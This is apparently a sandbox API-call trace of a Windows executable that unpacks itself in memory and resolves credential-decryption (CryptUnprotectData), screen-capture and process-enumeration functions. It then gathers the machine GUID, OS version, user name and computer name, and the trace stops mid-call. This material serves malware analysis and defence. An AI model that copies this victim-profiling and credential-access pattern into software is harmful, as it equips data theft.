[0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.486] GetLastError () returned 0x0 [0055.486] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.487] SetLastError (dwErrCode=0x0) [0055.487] GetLastError () returned 0x0 [0055.488] SetLastError (dwErrCode=0x0) [0055.488] GetLastError () returned 0x0 [0055.488] SetLastError (dwErrCode=0x0) [0055.488] GetLastError () returned 0x0 [0055.488] SetLastError (dwErrCode=0x0) [0055.488] GetLastError () returned 0x0 [0055.488] SetLastError (dwErrCode=0x0) [0055.488] GetLastError () returned 0x0 [0055.691] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.692] VirtualProtect (in: lpAddress=0x62dc70, dwSize=0x14ad8, flNewProtect=0x40, lpflOldProtect=0x18e950 | out: lpflOldProtect=0x18e950*=0x4) returned 1 [0055.701] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0055.701] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.702] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0055.702] SetErrorMode (uMode=0x400) returned 0x0 [0055.702] SetErrorMode (uMode=0x0) returned 0x400 [0055.702] GetVersionExA (in: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.702] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0055.704] VirtualProtect (in: lpAddress=0x400000, dwSize=0x20000, flNewProtect=0x40, lpflOldProtect=0x18e934 | out: lpflOldProtect=0x18e934*=0x2) returned 1 [0055.708] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.708] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadLocale") returned 0x76c335cf [0055.709] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoA") returned 0x76c30e00 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0055.710] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0055.710] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0055.710] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardType") returned 0x74f99ac4 [0055.710] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0055.710] GetProcAddress (hModule=0x74f40000, lpProcName="CharNextA") returned 0x74f57a1b [0055.710] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0055.711] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0055.711] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0055.711] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0055.711] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75220000 [0055.715] GetProcAddress (hModule=0x75220000, lpProcName="SysFreeString") returned 0x75223e59 [0055.715] GetProcAddress (hModule=0x75220000, lpProcName="SysReAllocStringLen") returned 0x75227810 [0055.715] GetProcAddress (hModule=0x75220000, lpProcName="SysAllocStringLen") returned 0x752245d2 [0055.716] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0055.716] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0055.716] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0055.716] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyA") returned 0x74d6a299 [0055.716] GetProcAddress (hModule=0x74d40000, lpProcName="FreeSid") returned 0x74d5412e [0055.716] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0055.716] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0055.717] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0055.717] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ad0000 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0055.718] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0055.718] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0055.718] GetProcAddress (hModule=0x74f40000, lpProcName="ReleaseDC") returned 0x74f57446 [0055.718] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemMetrics") returned 0x74f57d2f [0055.718] GetProcAddress (hModule=0x74f40000, lpProcName="GetDC") returned 0x74f572c4 [0055.718] GetProcAddress (hModule=0x74f40000, lpProcName="CharToOemBuffA") returned 0x74f6b1b0 [0055.718] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0055.718] GetProcAddress (hModule=0x755e0000, lpProcName="OleInitialize") returned 0x755fefd7 [0055.718] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0055.719] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0055.721] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0055.722] atexit (param_1=0x630794) returned 0 [0055.722] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0055.723] GetKeyboardType (nTypeFlag=0) returned 4 [0055.910] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe\" " [0055.910] GetStartupInfoA (in: lpStartupInfo=0x18e8c8 | out: lpStartupInfo=0x18e8c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0055.910] GetVersion () returned 0x1db10106 [0055.910] GetVersion () returned 0x1db10106 [0055.910] GetCurrentThreadId () returned 0xaf4 [0055.911] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0055.913] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0055.914] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0056.253] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0056.253] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.953] GetProcAddress (hModule=0x73e00000, lpProcName="GdiplusStartup") returned 0x73e25600 [0056.953] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.953] GetProcAddress (hModule=0x73e00000, lpProcName="GdiplusShutdown") returned 0x73e256be [0056.953] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.953] GetProcAddress (hModule=0x73e00000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x73e36671 [0056.953] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.953] GetProcAddress (hModule=0x73e00000, lpProcName="GdipGetImageEncodersSize") returned 0x73e42203 [0056.953] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.953] GetProcAddress (hModule=0x73e00000, lpProcName="GdipGetImageEncoders") returned 0x73e4228c [0056.954] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.954] GetProcAddress (hModule=0x73e00000, lpProcName="GdipDisposeImage") returned 0x73e34cc8 [0056.954] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73e00000 [0056.954] GetProcAddress (hModule=0x73e00000, lpProcName="GdipSaveImageToStream") returned 0x73e34153 [0056.954] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.954] GetProcAddress (hModule=0x755e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7560363b [0056.954] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0056.954] GetProcAddress (hModule=0x755e0000, lpProcName="GetHGlobalFromStream") returned 0x756041d5 [0056.955] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0056.955] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="SetCurrentDirectoryW") returned 0x76c41260 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0056.956] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatusEx") returned 0x76c5d4c4 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="SetDllDirectoryW") returned 0x76cb004f [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0056.957] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0056.958] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="AllocateAndInitializeSid") returned 0x74d540e6 [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="LookupAccountSidA") returned 0x74d81daa [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessAsUserW") returned 0x74d4c592 [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="CheckTokenMembership") returned 0x74d4df04 [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyW") returned 0x74d52459 [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyW") returned 0x74d5445b [0056.958] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumValueW") returned 0x74d548cc [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0056.959] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0056.959] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0056.959] GetProcAddress (hModule=0x74f40000, lpProcName="EnumDisplayDevicesW") returned 0x74f7e567 [0056.959] GetProcAddress (hModule=0x74f40000, lpProcName="wvsprintfA") returned 0x74f6aad3 [0056.959] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0056.959] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0057.065] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0057.065] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0057.065] GetProcAddress (hModule=0x77130000, lpProcName="RtlComputeCrc32") returned 0x771effc1 [0057.066] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x655e20 [0057.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x700000 [0057.148] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x656e20 [0057.148] VirtualAlloc (lpAddress=0x700000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x700000 [0057.151] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0057.151] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0057.175] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0057.175] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0057.176] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e685, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e680 | out: pSid=0x18e680*=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0057.176] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e67c | out: IsMember=0x18e67c) returned 1 [0057.176] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e682, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e674 | out: pSid=0x18e674*=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0057.176] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670 | out: Name=0x0, cchName=0x18e67c, ReferencedDomainName=0x0, cchReferencedDomainName=0x18e678, peUse=0x18e670) returned 0 [0057.234] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x654300*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x18e66c | out: IsMember=0x18e66c) returned 1 [0057.235] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e604 | out: phkResult=0x18e604*=0xe0) returned 0x0 [0057.256] RegQueryValueExW (in: hKey=0xe0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e60c, lpData=0x18e404, lpcbData=0x18e608*=0xfe | out: lpType=0x18e60c*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e608*=0x4a) returned 0x0 [0057.256] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 36 [0057.257] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e618 | out: phkResult=0x18e618*=0xdc) returned 0x0 [0057.257] RegQueryValueExW (in: hKey=0xdc, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e620, lpData=0x18e418, lpcbData=0x18e61c*=0xfe | out: lpType=0x18e620*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e61c*=0x2e) returned 0x0 [0057.257] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.257] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 22 [0057.257] GetUserNameW (in: lpBuffer=0x18e43c, pcbBuffer=0x18e438 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e438) returned 1 [0057.258] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d630, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f\x18>e", lpUsedDefaultChar=0x0) returned 20 [0057.258] GetComputerNameW (in: lpBuffer=0x18e43c, nSize=0x18e438 | out: lpBuffer="XDUWTFONO", nSize=0x18e438) returned 1 [0057.258] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, 